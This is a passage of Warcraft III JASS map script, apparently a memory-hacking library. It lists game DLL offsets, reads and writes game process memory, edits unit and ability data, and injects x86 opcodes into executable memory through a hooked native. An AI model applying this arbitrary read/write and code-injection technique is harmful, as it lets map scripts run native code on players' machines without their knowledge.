    set pIgnoredUnits = GameDLL + 0x2DCE80
    set pConvertUnits = GameDLL + 0x2DD2E0
    set pLeaderboardSetItemLabelColor = base + 0x3CC5B0 / 4

    set pExportFromMpq = GameDLL + 0x737F00
    set pGetFrameItemAddress = GameDLL + 0x5FA970
    set pGetFrameSkinAddress = GameDLL + 0x31F530
    set pGetFrameTextAddress = GameDLL + 0x61C7B0
    set pUpdateFrameText = GameDLL + 0x60CA10

    set pFrameDefClass = GameDLL + 0xACD264

    set pPacketClass = GameDLL + 0x932D2C
    set pPacketSend = GameDLL + 0x54D970


    set pConvertString = GameDLL + 0x3BAA20

    set pStorm279 = base + 0x86D5B8 / 4

    set pPrintText1 = GameDLL + 0x2F3CF0
    set pPrintText2 = GameDLL + 0x2F3CB0
    set pPrintText3 = GameDLL + 0x6049B0

    set pChangeFont = GameDLL + 0x7AE910

    set pCameraDefaultHeight = base + 0x93645C / 4

    set pPingMinimapOffset = GameDLL + 0x3B4650
    set pPingMinimapExOffset = GameDLL + 0x3B8660

    set pAllianceOutput = GameDLL + 0x2FB1F0

    set pWindowIsActive = base + 0xA9E7A4 / 4
    set pSendCommandWithoutTarget = GameDLL + 0x339C60
    set pMissile = base + 0xAB4CD8 / 4

   
    set pOrder1_offset = GameDLL + 0x339C60
    set pOrder2_offset = GameDLL + 0x339CC0
    set pOrder3_offset = GameDLL + 0x339D50
    set pOrder4_offset = GameDLL + 0x339DD0
    set pOrder5_offset = GameDLL + 0x339E60
    set pOrder6_offset = GameDLL + 0x339F00
    set pOrder7_offset = GameDLL + 0x339F80
    set pOrder8_offset = GameDLL + 0x33A010

    set Order1_lockedvalue = 0x900010C2
    set Order2_lockedvalue = 0x900018C2
    set Order3_lockedvalue = 0x900014C2
    set Order4_lockedvalue = 0x90001CC2
    set Order5_lockedvalue = 0x900020C2
    set Order6_lockedvalue = 0x900014C2
    set Order7_lockedvalue = 0x90001CC2
    set Order8_lockedvalue = 0x900020C2

    set pStartAbilityCD = GameDLL + 0x126990
   
    set pUpdateFogManual = GameDLL + 0x4299e0

    set pFogUpdateBlockAddr = base  + 0x42fcd4 / 4
    set pFogUpdateBlockAddrNew1 = 0x0004C200
    set pFogUpdateBlockAddrNew2 = 0x01B89090

    set OPLimitAddress1=GameDLL+0x3A8388
    set OPLimitAddress2=GameDLL+0x3A838C

    set pCycloneFixCondition=GameDLL+0x29C25C


    set pCaptionsOverTheCreeps=GameDLL+0x35BB20

    set pPhaseShiftInvisibilityFlagByte=GameDLL+0x135D9C

    set pGetUnitAbility = GameDLL + 0x787D0
    set pGetUnitAddress = GameDLL + 0x3BDCB0
    set p_sprintf = GameDLL + 0x86D32C

    set pMemcpy = GameDLL + 0x86D3CC

    set pSearchStringValue = GameDLL + 0x5C8ED0
    set pSearchStringAddr1 = GameDLL + 0xACD23C
    set pSearchStringAddr2 = GameDLL + 0xACD214

    set pSimulateAttackInstance = GameDLL + 0xCF660
    set pGameTime = GameDLL + 0xAB7E98

    set pSetStunToUnitTRUE = GameDLL+0x2A6440
    set pSetStunToUnitFALSE = GameDLL+0x282B30


    set pCommonSilence=GameDLL+0x076770
    set pAddSilenceOnAbility=GameDLL+0x052B60
    set pRemoveSilenceFromAbility=GameDLL+0x052BC0
    set pPauseUnitDisabler=GameDLL+0x0767F0

    set pUpdateUnitsSpeedCurrent=GameDLL+0x4A73F0

    set pCastSilenceToTarget=GameDLL+0xB65F0

    set pCastAbility=GameDLL+0x05C3A0

    set pDamageBlockIllusionCheck=GameDLL+0x1EA0F0

    set pItemDropOrderTriggerFix=GameDLL+0x29E064//9090c83b

    set pGetOrLoadFile = GameDLL + 0x4C1300

    set StoreIntegerOffset = GameDLL + 0x3CA0A0

    set pUnitVtable = GameDLL + 0x931934
    set pRealUnitDamageHandler = GameDLL + 0x2A40D0
    set pTriggerExecute = GameDLL + 0x3C3F40
    set pMissileFuncStart = GameDLL+0xCF660
    set pMissileJumpBack = GameDLL+0xCF667

    set pItemDataNode=GameDLL+0xAB4BF4+0x10

    set GameVersion = 0x26a
endfunction

function Init24b takes nothing returns nothing
    local integer base = ReadRealMemory(GetBytecodeAddress())-0x9631A0
    set GameDLL = base
    set base = base / 4
    set GameState = base+0x2B3513
    set pGameClass1 = base+0x2B3978
    set pointers = Memory[pGameClass1]/4
    set pUnitData = GameDLL+0xACB2D0
    set pAbilityData = GameDLL+0xACACBC
   
    set pUnitDataDefAddr = pUnitData
    set pGlobalPlayerClass = GameState
    set pAbilityDataDefAddr = pAbilityData



    set GameVersion = 0x24b
endfunction





function SetMaxUnitSpeed takes real r returns nothing
    set Memory[pUnitMaxSpeedConstant] = cleanInt(realToIndex(r))
    set Memory[pUnitMaxSpeedConstantD] = cleanInt(realToIndex(r))
endfunction

function GetMaxUnitSpeed takes nothing returns real
    return GetRealFromMemory(Memory[pUnitMaxSpeedConstant])
endfunction

function SetMinUnitSpeed takes real r returns nothing
    set Memory[pUnitMinSpeedConstant] = cleanInt(realToIndex(r))
    set Memory[pUnitMinSpeedConstantD] = cleanInt(realToIndex(r))
endfunction

function GetMinUnitSpeed takes nothing returns real
    return cleanReal(indexToReal(Memory[pUnitMinSpeedConstant]))
endfunction

function SetMaxBuildingSpeed takes real r returns nothing
    set Memory[pBuildingMaxSpeedConstant] = cleanInt(realToIndex(r))
    set Memory[pBuildingMaxSpeedConstantD] = cleanInt(realToIndex(r))
endfunction

function GetMaxBuildingSpeed takes nothing returns real
    return cleanReal(indexToReal(Memory[pBuildingMaxSpeedConstant]))
endfunction

function SetMinBuildingSpeed takes real r returns nothing
    set Memory[pBuildingMinSpeedConstant] = cleanInt(realToIndex(r))
    set Memory[pBuildingMinSpeedConstantD] = cleanInt(realToIndex(r))
endfunction

function GetMinBuildingSpeed takes nothing returns real
    return cleanReal(indexToReal(Memory[pBuildingMinSpeedConstant]))
endfunction

function GetAttackSpeedLimit takes nothing returns real
    return cleanReal(indexToReal(Memory[pAttackSpeedLimit]))
endfunction

function SetAttackSpeedLimit takes real r returns nothing
    set Memory[pAttackSpeedLimit] = cleanInt(realToIndex(r))
endfunction

function GetAttackTimeLimit takes nothing returns real
    return cleanReal(indexToReal(Memory[pAttackTimeLimit]))
endfunction

function SetAttackTimeLimit takes real r returns nothing
    set Memory[pAttackTimeLimit] = cleanInt(realToIndex(r))
endfunction




function SaveConstantsValues takes nothing returns nothing
    set UnitMaxSpeedConstant =        GetMaxUnitSpeed( )
    set UnitMinSpeedConstant =        GetMinUnitSpeed( )
    set BuildingMaxSpeedConstant =    GetMaxBuildingSpeed( )
    set BuildingMinSpeedConstant =    GetMinBuildingSpeed( )
    set AttackSpeedLimit =            GetAttackSpeedLimit( )
    set AttackTimeLimit =            GetAttackTimeLimit( )
endfunction



function ResetConstantsValues takes nothing returns nothing
    call SetMaxUnitSpeed(        UnitMaxSpeedConstant)
    call SetMinUnitSpeed(         UnitMinSpeedConstant)
    call SetMaxBuildingSpeed(    BuildingMaxSpeedConstant )
    call SetMinBuildingSpeed(    BuildingMinSpeedConstant)
    call SetAttackSpeedLimit(    AttackSpeedLimit)
    call SetAttackTimeLimit(    AttackTimeLimit)
    call ExecuteFunc("RestoreCameraOffsets")
endfunction

// replace war3map.j to recovery.j
function LockOtherMaps takes nothing returns nothing
    //0x6F636572
    //0x726576


endfunction
// replace recovery.j back to war3map.j
function UnlockOtherMaps takes nothing returns nothing
    //0x33726177
    //0x70616D


endfunction




//library Memory ends
//library Bitwise:

function GetGameTypeSupported takes nothing returns integer
    //return Memory[Memory[Memory[GameState] / 4 + 12] / 4 + 12]
    return ReadRealPointer2LVL(GameState*4,48,48)
endfunction

//function BitwiseNot takes integer i returns integer
//    return 0xFFFFFFFF - i
//endfunction
//
//function BitwiseOrOld takes integer a,integer b returns integer
//    //set Memory[Memory[Memory[GameState]/4+12]/4+12] = a
//    call SetGameTypeSupported(GAME_TYPE_ALL, false)
//    call SetGameTypeSupported(ConvertGameType(a), true)
//    call SetGameTypeSupported(ConvertGameType(b), true)
//    return GetGameTypeSupported()
//endfunction
//
//function BitwiseAndOld takes integer a,integer b returns integer
//    //set Memory[Memory[Memory[GameState]/4+12]/4+12] = a
//    call SetGameTypeSupported(GAME_TYPE_ALL, false)
//    call SetGameTypeSupported(ConvertGameType(a), true)
//    call SetGameTypeSupported(ConvertGameType(BitwiseNot(b)), false)
//    return GetGameTypeSupported()
//endfunction

//function BitwiseXorOld takes integer a,integer b returns integer
//    local integer i
//    //set Memory[Memory[Memory[GameState]/4+12]/4+12] = a
//    call SetGameTypeSupported(GAME_TYPE_ALL, false)
//    call SetGameTypeSupported(ConvertGameType(a), true)
//    call SetGameTypeSupported(ConvertGameType(b), false)
//    set i=GetGameTypeSupported()
//    call SetGameTypeSupported(ConvertGameType(b), true)
//    call SetGameTypeSupported(ConvertGameType(a), false)
//    call SetGameTypeSupported(ConvertGameType(i), true)
//    return GetGameTypeSupported()
//endfunction


function BitwiseOr takes integer arg1, integer arg2 returns integer
    local integer retval

    if NeedInitBitwiseOr == true then
        set NeedInitBitwiseOr = false
        set Memory[pBitwiseOR_ExecutableMemory/4] = 0x0424448B
        set Memory[pBitwiseOR_ExecutableMemory/4 + 1] = 0x0824548B
        set Memory[pBitwiseOR_ExecutableMemory/4 + 2] = 0xCCC3D009
    endif

    if pConvertUnitsOffset == 0 then
        set pConvertUnitsOffset = CreateJassNativeHook(pConvertUnits,pBitwiseOR_ExecutableMemory )
    else
        call WriteRealMemory(pConvertUnitsOffset, pBitwiseOR_ExecutableMemory)
    endif

    if pConvertUnitsOffset != 0 then
        set retval = B2I(ConvertUnits( arg1,arg2 ))
        call WriteRealMemory(pConvertUnitsOffset, pConvertUnits)
        return retval
    endif
    return 0
endfunction

function BitwiseXor takes integer arg1, integer arg2 returns integer
    local integer retval

    if NeedInitBitwiseXor == true then
        set NeedInitBitwiseXor = false
        set Memory[pBitwiseXOR_ExecutableMemory/4] = 0x0424448B
        set Memory[pBitwiseXOR_ExecutableMemory/4 + 1] = 0x0824548B
        set Memory[pBitwiseXOR_ExecutableMemory/4 + 2] = 0xCCC3D031
    endif

    if pConvertUnitsOffset == 0 then
        set pConvertUnitsOffset = CreateJassNativeHook(pConvertUnits,pBitwiseXOR_ExecutableMemory )
    else
        call WriteRealMemory(pConvertUnitsOffset, pBitwiseXOR_ExecutableMemory)
    endif

    if pConvertUnitsOffset != 0 then
        set retval = B2I(ConvertUnits( arg1,arg2 ))
        call WriteRealMemory(pConvertUnitsOffset,pConvertUnits)
        return retval
    endif
    return 0
endfunction

function BitwiseAnd takes integer arg1, integer arg2 returns integer
    local integer retval

    if NeedInitBitwiseAnd == true then
        set NeedInitBitwiseAnd = false
        set Memory[pBitwiseAND_ExecutableMemory/4] = 0x0424448B
        set Memory[pBitwiseAND_ExecutableMemory/4 + 1] = 0x0824548B
        set Memory[pBitwiseAND_ExecutableMemory/4 + 2] = 0xCCC3D021
    endif

    if pConvertUnitsOffset == 0 then
        set pConvertUnitsOffset = CreateJassNativeHook(pConvertUnits,pBitwiseAND_ExecutableMemory )
    else
        call WriteRealMemory(pConvertUnitsOffset, pBitwiseAND_ExecutableMemory)
    endif

    if pConvertUnitsOffset != 0 then
        set retval = B2I(ConvertUnits( arg1,arg2 ))
        call WriteRealMemory(pConvertUnitsOffset, pConvertUnits)
        return retval
    endif
    return 0
endfunction





//library Bitwise ends
//library StringId:

function StringId__Int2Char takes integer i returns string
    local string s= Ascii2Char(i)
    if s == null then
        set s="\\x" + Int2Hex(i)
    endif
    return s
endfunction

function Id2String takes integer i returns string
    local string result= ""
    local integer char
    loop
        set char=i
        set i=i / 256
        set result=StringId__Int2Char(char - i * 256) + result
        exitwhen i == 0
    endloop
    return result
endfunction

function String2Id takes string s returns integer
    local integer result= 0
    local integer i= 0
    loop
        set result=result * 256 + Char2Ascii(SubString(s, i, i + 1))
        set i=i + 1
        exitwhen i == 4
    endloop
    return result
endfunction


//library StringId ends
//library ObjectData:


function IntegerHash takes integer i returns integer
    local integer a= 0x7FED7FED
    local integer b= 0xEEEEEEEE
    local integer byte
    loop
        set byte=i * 16777216 / 16777216
        set a=BitwiseXor(a + b , H[byte])
        set i=i / 256
        exitwhen i == 0
        set b=b * 32 + a + b + byte + 3
    endloop
    return a
endfunction

function GetObjectData takes integer pData,integer rawcode returns integer
    local integer hash    = IntegerHash(rawcode)
    local integer list    = ReadRealMemory(pData) / 4 + ModuloInteger(hash, ReadRealMemory(pData + 8) + 1) * 3
    local integer i    = Memory[list + 2] / 4
    loop
        exitwhen i <= 0
        if Memory[i] == hash and Memory[i + 5] == rawcode then
            return i
        endif
        set i    =    Memory[Memory[list] / 4 + i + 1] / 4
    endloop
    return 0
endfunction

function GetObjectDataCaching takes integer pData, integer rawcode returns integer
    local integer k
    if HaveSavedInteger(ObjectDataPointersTable,pData,rawcode) then
        return LoadInteger(ObjectDataPointersTable,pData,rawcode)
    endif
    set k=GetObjectData(pData,rawcode)
    call SaveInteger(ObjectDataPointersTable,pData,rawcode,k)
    return k
endfunction

function ObjectData__Init takes nothing returns nothing
    set H[1]=0xA22E726E
    set H[2]=0xD43D94C0
    set H[3]=0x6DE064C7
    set H[4]=0xFE8D4B2F
    set H[5]=0x345A287E
    set H[6]=0x13941BCF
    set H[7]=0xD822114D
    set H[8]=0xA79E1270
    set H[9]=0xFB2D4CF9
    set H[10]=0xCB25DDAE
    set H[11]=0x7B5E64D5
    set H[12]=0x88544672
    set H[13]=0xF201BF3F
    set H[14]=0x677CAF6E
    set H[15]=0x34502020
    set H[16]=0x5DD18D92
    set H[18]=0x320F2252
    set H[19]=0xCBB1F259
    set H[20]=0x5C5ED8C1
    set H[21]=0x922BB610
    set H[22]=0x7165A961
    set H[23]=0x35F39EDF
    set H[24]=0x056FA002
    set H[25]=0x58FEDA8B
    set H[26]=0x28F76B40
    set H[27]=0xD92FF267
    set H[28]=0xE625D404
    set H[29]=0x4FD34CD1
    set H[30]=0xC54E3D00
    set H[31]=0x9221ADB2
    set H[32]=0x2BC26B40
    set H[33]=0xCDF0DDAE
    set H[35]=0x99A2D007
    set H[36]=0x2A4FB66F
    set H[37]=0x601C93BE
    set H[38]=0x3F56870F
    set H[39]=0x03E47C8D
    set H[40]=0xD3607DB0
    set H[41]=0x26EFB839
    set H[42]=0xF6E848EE
    set H[43]=0xA720D015
    set H[44]=0xB416B1B2
    set H[45]=0x1DC42A7F
    set H[46]=0x933F1AAE
    set H[47]=0x60128B60
    set H[48]=0x921F9B39
    set H[49]=0x344E0DA7
    set H[50]=0x665D2FF9
    set H[52]=0x90ACE668
    set H[53]=0xC679C3B7
    set H[54]=0xA5B3B708
    set H[55]=0x6A41AC86
    set H[56]=0x39BDADA9
    set H[57]=0x8D4CE832
    set H[58]=0x5D4578E7
    set H[59]=0x0D7E000E
    set H[60]=0x1A73E1AB
    set H[61]=0x84215A78
    set H[62]=0xF99C4AA7
    set H[63]=0xC66FBB59
    set H[64]=0x0172B4D1
    set H[65]=0xA3A1273F
    set H[66]=0xD5B04991
    set H[67]=0x6F531998
    set H[69]=0x35CCDD4F
    set H[70]=0x1506D0A0
    set H[71]=0xD994C61E
    set H[72]=0xA910C741
    set H[73]=0xFCA001CA
    set H[74]=0xCC98927F
    set H[75]=0x7CD119A6
    set H[76]=0x89C6FB43
    set H[77]=0xF3747410
    set H[78]=0x68EF643F
    set H[79]=0x35C2D4F1
    set H[80]=0xCBA5D782
    set H[81]=0x6DD449F0
    set H[82]=0x9FE36C42
    set H[83]=0x39863C49
    set H[84]=0xCA3322B1
    set H[86]=0xDF39F351
    set H[87]=0xA3C7E8CF
    set H[88]=0x7343E9F2
    set H[89]=0xC6D3247B
    set H[90]=0x96CBB530
    set H[91]=0x47043C57
    set H[92]=0x53FA1DF4
    set H[93]=0xBDA796C1
    set H[94]=0x332286F0
    set H[95]=0xFFF5F7A2
    set H[96]=0xEC6BE431
    set H[97]=0x8E9A569F
    set H[98]=0xC0A978F1
    set H[99]=0x5A4C48F8
    set H[100]=0xEAF92F60
    set H[101]=0x20C60CAF
    set H[103]=0xC48DF57E
    set H[104]=0x9409F6A1
    set H[105]=0xE799312A
    set H[106]=0xB791C1DF
    set H[107]=0x67CA4906
    set H[108]=0x74C02AA3
    set H[109]=0xDE6DA370
    set H[110]=0x53E8939F
    set H[111]=0x20BC0451
    set H[112]=0x27DDEEB3
    set H[113]=0xCA0C6121
    set H[114]=0xFC1B8373
    set H[115]=0x95BE537A
    set H[116]=0x266B39E2
    set H[117]=0x5C381731
    set H[118]=0x3B720A82
    set H[120]=0xCF7C0123
    set H[121]=0x230B3BAC
    set H[122]=0xF303CC61
    set H[123]=0xA33C5388
    set H[124]=0xB0323525
    set H[125]=0x19DFADF2
    set H[126]=0x8F5A9E21
    set H[127]=0x5C2E0ED3
    set H[128]=0x5861ED90
    set H[129]=0xFA905FFE
    set H[130]=0x2C9F8250
    set H[131]=0xC6425257
    set H[132]=0x56EF38BF
    set H[133]=0x8CBC160E
    set H[134]=0x6BF6095F
    set H[135]=0x3083FEDD
    set H[137]=0x538F3A89
    set H[138]=0x2387CB3E
    set H[139]=0xD3C05265
    set H[140]=0xE0B63402
    set H[141]=0x4A63ACCF
    set H[142]=0xBFDE9CFE
    set H[143]=0x8CB20DB0
    set H[144]=0x04D2B307
    set H[145]=0xA7012575
    set H[146]=0xD91047C7
    set H[147]=0x72B317CE
    set H[148]=0x035FFE36
    set H[149]=0x392CDB85
    set H[150]=0x1866CED6
    set H[151]=0xDCF4C454
    set H[152]=0xAC70C577
    set H[154]=0xCFF890B5
    set H[155]=0x803117DC
    set H[156]=0x8D26F979
    set H[157]=0xF6D47246
    set H[158]=0x6C4F6275
    set H[159]=0x3922D327
    set H[160]=0x34DA2252
    set H[161]=0xD70894C0
    set H[162]=0x0917B712
    set H[163]=0xA2BA8719
    set H[164]=0x33676D81
    set H[165]=0x69344AD0
    set H[166]=0x486E3E21
    set H[167]=0x0CFC339F
    set H[168]=0xDC7834C2
    set H[169]=0x30076F4B
    set H[171]=0xB0388727
    set H[172]=0xBD2E68C4
    set H[173]=0x26DBE191
    set H[174]=0x9C56D1C0
    set H[175]=0x692A4272
    set H[176]=0x84A19B2B
    set H[177]=0x26D00D99
    set H[178]=0x58DF2FEB
    set H[179]=0xF281FFF2
    set H[180]=0x832EE65A
    set H[181]=0xB8FBC3A9
    set H[182]=0x9835B6FA
    set H[183]=0x5CC3AC78
    set H[184]=0x2C3FAD9B
    set H[185]=0x7FCEE824
    set H[186]=0x4FC778D9
    set H[188]=0x0CF5E19D
    set H[189]=0x76A35A6A
    set H[190]=0xEC1E4A99
    set H[191]=0xB8F1BB4B
    set H[192]=0x77ABB98E
    set H[193]=0x19DA2BFC
    set H[194]=0x4BE94E4E
    set H[195]=0xE58C1E55
    set H[196]=0x763904BD
    set H[197]=0xAC05E20C
    set H[198]=0x8B3FD55D
    set H[199]=0x4FCDCADB
    set H[200]=0x1F49CBFE
    set H[201]=0x72D90687
    set H[202]=0x42D1973C
    set H[203]=0xF30A1E63
    set H[205]=0x69AD78CD
    set H[206]=0xDF2868FC
    set H[207]=0xABFBD9AE
    set H[208]=0x0DFE40C1
    set H[209]=0xB02CB32F
    set H[210]=0xE23BD581
    set H[211]=0x7BDEA588
    set H[212]=0x0C8B8BF0
    set H[213]=0x4258693F
    set H[214]=0x21925C90
    set H[215]=0xE620520E
    set H[216]=0xB59C5331
    set H[217]=0x092B8DBA
    set H[218]=0xD9241E6F
    set H[219]=0x895CA596
    set H[220]=0x96528733
    set H[222]=0x757AF02F
    set H[223]=0x424E60E1
    set H[224]=0x98835092
    set H[225]=0x3AB1C300
    set H[226]=0x6CC0E552
    set H[227]=0x0663B559
    set H[228]=0x97109BC1
    set H[229]=0xCCDD7910
    set H[230]=0xAC176C61
    set H[231]=0x70A561DF
    set H[232]=0x40216302
    set H[233]=0x93B09D8B
    set H[234]=0x63A92E40
    set H[235]=0x13E1B567
    set H[236]=0x20D79704
    set H[237]=0x8A850FD1
    set H[239]=0xCCD370B2
    set H[240]=0xCBAFDFE0
    set H[241]=0x6DDE524E
    set H[242]=0x9FED74A0
    set H[243]=0x399044A7
    set H[244]=0xCA3D2B0F
    set H[245]=0x000A085E
    set H[246]=0xDF43FBAF
    set H[247]=0xA3D1F12D
    set H[248]=0x734DF250
    set H[249]=0xC6DD2CD9
    set H[250]=0x96D5BD8E
    set H[251]=0x470E44B5
    set H[252]=0x54042652
    set H[253]=0xBDB19F1F
    set H[254]=0x332C8F4E
endfunction


//library ObjectData ends
//library Utils:

function ConvertHandle takes handle h returns integer
    if GetHandleId(h)>0 then
        return Memory[Memory[Memory[Memory[GameState] / 4 + 7] / 4 + 103] / 4 + GetHandleId(h) * 3 - 0x2FFFFF]
    endif
    return 0
endfunction

function ConvertPointer takes integer ptr returns integer
    local integer i= Memory[ptr / 4]
    if i < 0 then
        return Memory[Memory[pointers + 11] / 4 - i * 2 + 1]
    endif
    return Memory[Memory[pointers + 3] / 4 + i * 2 + 1]
endfunction

function GetUnitFlags takes unit u returns integer
    return Memory[ConvertHandle(u) / 4 + 23]
endfunction

function SetUnitFlags takes unit u,integer i returns nothing
    set Memory[ConvertHandle(u) / 4 + 23]=i
endfunction

function IsFlagBitSet takes integer flags, integer bit returns boolean
    return flags/bit*2147483648 != 0
endfunction

//armor types:
// 0 - Light; 1 - Medium; 2 - Heavy; 3 - Fortified; 4 - Normal; 5 - Hero; 6 - Divine; 7 - unarmored;
//rest seems to have Light properties
function GetUnitArmorType takes unit u returns integer
    return Memory[(ConvertHandle(u) + 0xE4)/4]
endfunction

function SetUnitArmorType takes unit u, integer id returns nothing
    set Memory[(ConvertHandle(u) + 0xE4)/4]=id
endfunction

function GetUnitArmor takes unit u returns real
    return indexToReal(Memory[ConvertHandle(u) / 4 + 56])
endfunction

function SetUnitArmor takes unit u,real r returns nothing
    set Memory[ConvertHandle(u) / 4 + 56]=cleanInt(realToIndex(r))
endfunction

function SetUnitTypeId takes unit u,integer i returns nothing
    set Memory[ConvertHandle(u) / 4 + 12]=i
endfunction

function GetUnitTypeIdReal takes integer i returns integer
    return Memory[i / 4 + 12]
endfunction

function SetUnitPhased takes unit u returns nothing
    local integer data= GetObjectDataCaching(pUnitData , GetUnitTypeId(u)) + 107
    local integer p1= Memory[data]
    local integer p2= Memory[data + 1]
//    call BJDebugMsg(Int2Hex((data-107)*4))
    set Memory[data]=8
    set Memory[data + 1]=16
    call SetUnitPathing(u, true)
    set Memory[data]=p1
    set Memory[data + 1]=p2
endfunction

function GetAbilityX takes ability a, integer x returns real
    if x==20 then
        return Memory[Memory[Memory[ConvertHandle(a)/4+21]/4+21]/4-(41-x)+1*26]*1.0
    else
        return indexToReal(Memory[Memory[Memory[ConvertHandle(a)/4+21]/4+21]/4-(41-x)+1*26])
    endif
endfunction

function SetAbilityX takes ability a, integer x, real d returns nothing
    if x==20 then
        set Memory[Memory[Memory[ConvertHandle(a)/4+21]/4+21]/4+1*26-(2+x)]=R2I(d)
    else
        set Memory[Memory[Memory[ConvertHandle(a)/4+21]/4+21]/4+1*26-(2+x)]=cleanInt(realToIndex(d))
    endif
endfunction


function GetUnitFlags_2 takes unit u returns integer
    return Memory[ConvertHandle(u) / 4 + 8]
endfunction

function SetUnitFlags_2 takes unit u,integer i returns nothing
    set Memory[ConvertHandle(u) / 4 + 8]=i
endfunction

// Real - addres in memory

function GetRealPlayerById takes integer i returns integer
    local integer pladdr =  Memory[pGlobalPlayerClass] + ( i * 4 ) + 0x58
    return Memory[pladdr/4]
endfunction

function GetLocalPlayerIdReal takes nothing returns integer
    return Memory[Memory[pGlobalPlayerClass]/4+0xA]
endfunction

function GetLocalPlayerReal takes nothing returns integer
    return GetRealPlayerById(GetLocalPlayerIdReal( ) )
endfunction


// Get Selected Unit
function GetPlayerSelectedUnitReal takes integer realplayer returns integer
    local integer pladdr = realplayer/4 + 0xD
    set pladdr = Memory[pladdr]
    set pladdr = pladdr + 0x1E0
    return Memory[pladdr/4]
endfunction


function SetPlayerSelectedUnitReal takes integer realplayer, integer pConvertedHandle returns nothing
    local integer pladdr = realplayer/4 + 0xD
    set pladdr = Memory[pladdr]
    set pladdr = pladdr + 0x1E0
    set Memory[pladdr/4] = pConvertedHandle
endfunction

function GetUnitVertexColorB takes unit u returns integer
    return GetByteFromInteger(Memory[(Memory[ConvertHandle(u) / 4 + 0xA]+328)/4],4)
endfunction

function GetUnitVertexColorG takes unit u returns integer
    return GetByteFromInteger(Memory[(Memory[ConvertHandle(u) / 4 + 0xA]+328)/4],3)
endfunction

function GetUnitVertexColorR takes unit u returns integer
    return GetByteFromInteger(Memory[(Memory[ConvertHandle(u) / 4 + 0xA]+328)/4],2)
endfunction

function GetUnitVertexColorA takes unit u returns integer
    return GetByteFromInteger(Memory[(Memory[ConvertHandle(u) / 4 + 0xA]+328)/4],1)
endfunction


function GetUnitVertexColorB_2 takes unit u returns integer
    return GetByteFromInteger(Memory[ConvertHandle(u) / 4 + 181],4)
endfunction

function GetUnitVertexColorG_2 takes unit u returns integer
    return GetByteFromInteger(Memory[ConvertHandle(u) / 4 + 181],3)
endfunction

function GetUnitVertexColorR_2 takes unit u returns integer
    return GetByteFromInteger(Memory[ConvertHandle(u) / 4 + 181],2)
endfunction

function GetUnitVertexColorA_2 takes unit u returns integer
    return GetByteFromInteger(Memory[ConvertHandle(u) / 4 + 181],1)
endfunction


function SetUnitColorDirectlyForAddresss takes integer pConvertedHandle, integer red, integer green, integer blue, integer alpha returns nothing
    //, real fadetime returns nothing
    local integer resultcolor = CreateInteger1(alpha,red,green,blue)
    local integer colorflag = 0
    set Memory[(Memory[pConvertedHandle / 4 + 0xA]+328)/4] = resultcolor

    //set Memory[(Memory[pConvertedHandle / 4 + 0xA]+324)/4] = cleanInt(realToIndex(fadetime))
    set Memory[(Memory[pConvertedHandle / 4 + 0xA]+320)/4] = 0
    set Memory[(Memory[pConvertedHandle / 4 + 0xA]+316)/4] = 0

    set colorflag = Memory[(Memory[pConvertedHandle / 4 + 0xA]+312)/4]
    if BitwiseAnd( colorflag, 0x800) == 0 then
        set Memory[(Memory[pConvertedHandle / 4 + 0xA]+312)/4] = BitwiseXor(colorflag, 0x800)
    endif


endfunction

function echo takes string s returns nothing
    if IsL1ch then
        call DisplayTimedTextToPlayer(LocalPlayer,0,0,30,s)
    endif
endfunction


function SetUnitColorDirectly takes unit u, integer red, integer green, integer blue, integer alpha returns nothing
//    call echo(Int2Hex(ConvertHandle(u)))
    call SetUnitColorDirectlyForAddresss(ConvertHandle(u),red,green,blue,alpha)
endfunction


function GetJassContext takes integer id returns integer
    return Memory[Memory[Memory[Memory[pJassEnvAddress]/4+5]/4+36]/4+id]
endfunction

function GetStringAddress takes string s returns integer
    return Memory[Memory[Memory[Memory[GetJassContext(1)/4+2589]/4+2]/4+SH2I(s)*4+2]/4+7]
endfunction

function WriteNullTerminatedString takes string s, integer i_address returns nothing
    set Memory[i_address/4] = GetStringAddress(s)
endfunction

function GetDefAddr takes integer id, integer class, integer first, integer currentOffset returns integer
    local integer FirstDataDefEntry = ReadRealMemory(first)
    local integer CurrentDefAddr = Memory[FirstDataDefEntry/4 + 2] + currentOffset
    local integer FirstDefAddr = CurrentDefAddr
    local integer CurrentDefId = 0
    local integer CurrentDefId2 = 0
    if FirstDataDefEntry == 0 then
        return 0
    endif
//    if HaveSavedInteger(Addresses,id,class)then
//        return LoadInteger(Addresses,id,class) - 0xC
//    endif

//    if HaveSavedInteger(Addresses,class,0)then
//        set CurrentDefAddr=LoadInteger(Addresses,class,0)
//        set FirstDefAddr=LoadInteger(Addresses,class,1)
//        call echo("address preloaded")
//    elseif HaveSavedInteger(Addresses,class,1)==false then
//        call echo("first address saved")
//        call SaveInteger(Addresses,class,1,FirstDefAddr)
//    endif

    loop
        set CurrentDefId = Memory[CurrentDefAddr/4+2]
   
//        call SaveInteger(Addresses,CurrentDefId,class,CurrentDefAddr)
//        call SaveInteger(Addresses,class,0,CurrentDefAddr)
//        call echo(Id2String(CurrentDefId))
        if HaveSavedInteger(ObjectDataPointersTable,class,CurrentDefId)==false then
//            call echo("Cached "+Id2String(CurrentDefId))
            call SaveInteger(ObjectDataPointersTable,class,CurrentDefId,CurrentDefAddr - 0xC)
        endif
        exitwhen CurrentDefId == id
   
        set CurrentDefAddr = Memory[CurrentDefAddr/4]
        if CurrentDefAddr == 0 or CurrentDefAddr == FirstDefAddr then
//            if CurrentDefAddr == 0 then
//                call echo("drop for null")
//            else
//                call echo("drop for start")
//            endif
            return 0
        endif
    endloop

    if CurrentDefAddr == 0 then
//        call echo("drop for zero")
        return 0
    endif
    return CurrentDefAddr - 0xC// as GetObjectData*4 but search only by id..
endfunction

function GetDefAddrCaching takes integer id, integer class, integer first, integer currentOffset returns integer
    if HaveSavedInteger(ObjectDataPointersTable,class,id) then
//        call echo("loaded")
        return LoadInteger(ObjectDataPointersTable,class,id)
    endif
    return GetDefAddr(id,class,first,currentOffset)
endfunction

function GetUnitDataDefAddr takes integer id returns integer
    return GetDefAddrCaching(id,DEF_ADR_UNIT_DATA,pUnitDataDefAddr,0xC)
endfunction

function GetUnitUIDefAddr takes integer id returns integer
    return GetDefAddrCaching(id,DEF_ADR_UNIT_UI,pUnitUIDefAddr,0x10)
endfunction

function GetAbilityDataDefAddr takes integer id returns integer
    return GetDefAddrCaching(id,DEF_ADR_ABILITY_DATA,pAbilityDataDefAddr,0xC)
endfunction

function GetAbilityUIDefAddr takes integer id returns integer
    return GetDefAddrCaching(id,DEF_ADR_ABILITY_UI,pAbilityUIDefAddr,0x10)
endfunction

//1 = str, 2 = int, 3 = agi
function GetHeroPrimaryAttribute takes unit u returns integer
    local integer a=ConvertHandle(u)
